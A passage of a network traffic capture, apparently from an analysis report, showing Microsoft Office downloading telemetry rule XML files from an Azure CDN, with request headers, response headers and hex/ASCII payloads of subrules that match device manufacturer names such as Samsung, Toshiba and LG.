Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49766	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb754j8gqphC1TEB5bf800000008h000000000dxkp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49767	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb754wcxkwhC1TEB3c6w00000008gg00000000gmaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49768	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb754lvj6mhC1TEBke9400000008r0000000009wp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49769	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-r1d97b99577n5jhbhC1TEB74vn00000007rg00000000rkur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49770	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-r1d97b995774n5h6hC1TEBvf8400000007xg0000000061zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49771	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb754j47wfhC1TEB5wrw00000004bg00000000s5w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49772	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-r1d97b99577jlrkbhC1TEBq8d000000007w000000000239b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49773	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-1777c6cb754gvvgfhC1TEBz4rg00000008qg00000000anp1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49774	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-r1d97b99577d6qrbhC1TEBux5s00000007yg00000000ka8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49775	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-1777c6cb754lv4cqhC1TEB13us00000008ng000000009yc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49776	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-1777c6cb754b7tdghC1TEBwwa400000008ng00000000raqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49777	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-r1d97b99577lxltfhC1TEByw2s00000007ug00000000qs57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
